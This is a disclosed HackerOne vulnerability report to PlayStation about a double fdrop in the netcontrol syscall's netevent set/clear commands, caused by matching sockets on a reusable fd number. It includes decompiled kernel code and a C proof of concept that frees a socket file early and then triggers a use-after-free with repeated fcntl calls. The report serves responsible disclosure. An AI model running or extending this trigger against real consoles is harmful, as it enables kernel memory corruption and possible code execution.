PlayStation · Report #3320669
Double fdrop on a socket through sys_netcontrol
Summary
Summary:
The netcontrol syscall has the following prototype:
int netcontrol(int if_index, int cmd, void* buf, size_t buflen)
The netcontrol handler for a cmd value of 0x20000003 takes a socket fd value as input and stores the socket pointer/fd to a netevent struct.
The code for adding a socket to a netevent struct looks like this:
int
kern_netevent_set_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
int res;
struct file *fp;
int socket_fd = *user_buf;
int should_drop = 0;
...
res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
if (res != 0)
return res;
res = bnet_netevent_set_queue(td, ifp, fp->f_data, user_buf, &should_drop);
if (should_drop || res != 0)
fdrop(fp, td);
return res;
}
int
bnet_netevent_set_queue(struct thread *td, struct ifnet *ifp, struct socket *so, int *user_buf, int *should_drop)
{
...
int socket_fd = *user_buf;
struct netevent* ne;
...
// [snipped code that finds available netevent struct, either from ifp or global]
...
ne->flags |= 1; // Mark netevent as being "filled"
ne->socket = so;
ne->socket_fd = socket_fd;
so->so_netevent = ne;
...
}
Note that a reference to the socket is taken through getsock_cap(), and as long as no error occurs, that reference is held and owned by the netevent.
The socket can also be removed from a netevent through netcontrol cmd 0x20000007.
The code for doing so looks like this:
int
kern_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
int res;
struct file *fp;
int socket_fd = *user_buf;
...
res = getsock_cap(td, socket_fd, cap_rights_init(&rights, 0), &fp, NULL, NULL);
if (res != 0)
return res;
res = bnet_netevent_clear_queue(td, ifp, fp->f_data, user_buf);
if (res == 0)
fdrop(fp, td); // Drop ref that was held by netevent
fdrop(fp, td); // Drop ref from getsock_cap() call above
return res;
}
int
bnet_netevent_clear_queue(struct thread *td, struct ifnet *ifp, int *user_buf)
{
int socket_fd = *user_buf;
struct netevent* ne;
// Find netevent that has matching socket fd
for (int i = 0; i < 3; i++) {
ne = ifp ? (&ifp->if_netevent[i]) : &g_common_ev[i];
if ((ne->flags & 1) != 0 || ne->socket_fd != socket_fd)
continue;
bzero(ne, sizeof(*ne));
return 0;
}
return 5;
}
This will clear the socket pointer and call fdrop() to release the reference that was held when the socket was initially set.
The bug here is that when clearing a socket from a netevent, the comparison between the stored socket and the input socket is done using the fd.
However, the fd is not static and can be changed by the user to point to a different socket.
If this is done, an extra fdrop() is called on a socket that never had that reference taken, and the reference from the original socket is leaked.
Steps To Reproduce:
- Create a sockets
s1 - Add
s1to netevent usingnetcontrol()syscall with cmd 0x20000003 - Close
s1and create a new sockets2. The fd of both sockets should be the same. - Remove
s2from netevent usingnetcontrol()syscall with cmd 0x20000007 s2will havefdrop()called on it twice, despite it never having been actually added to netevent. A reference to the originals1file will also be leaked.
C code:
#define NETCONTROL_NETEVENT_SET_QUEUE 0x20000003
#define NETCONTROL_NETEVENT_CLEAR_QUEUE 0x20000007
void main()
{
int64_t s1 = socket(AF_INET, SOCK_STREAM, 0); // s1 refcnt = 1
// Add s1 to netevent
netcontrol(0, NETCONTROL_NETEVENT_SET_QUEUE, &s1, sizeof(s1)); // s1 refcnt = 2
// Close s1 and open new socket s2
// fd values are predictable, so s2 fd should be same as s1 fd
close(s1); // s1 refcnt = 1
int64_t s2 = socket(AF_INET, SOCK_STREAM, 0); // s2 refcnt = 1
// Remove s2 from netevent (will cause double fdrop on file of s2)
netcontrol(0, NETCONTROL_NETEVENT_CLEAR_QUEUE, &s2, sizeof(s2)); // s2 refcnt = 0, s1 refcnt = 1
// At this stage, the backing file/socket for s2 has been freed, but we still have
// a reference to it in the fdtable.
//
// Triggering call to fget() will result in a hang, due to fget() code not handling
// refcnt of 0 well.
//
// On PS4, calling fcntl(F_SETFL) will cause file to get freed again, since that
// calls fhold()/fdrop() directly without going through fget().
// Doing this enough times will cause a crash/panic at some point.
//
// On PS5, fcntl(F_SETFL) will call fget() which should hang.
for (int i = 0; i < 100; i++) {
fcntl(s2, F_SETFL, 0);
}
}
Impact
The double put of a file pointer can lead to a use-after-free, due to the file being freed while references to it still exist. Can be used by an attacker for memory corruption, potentially leading to kernel code execution.
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.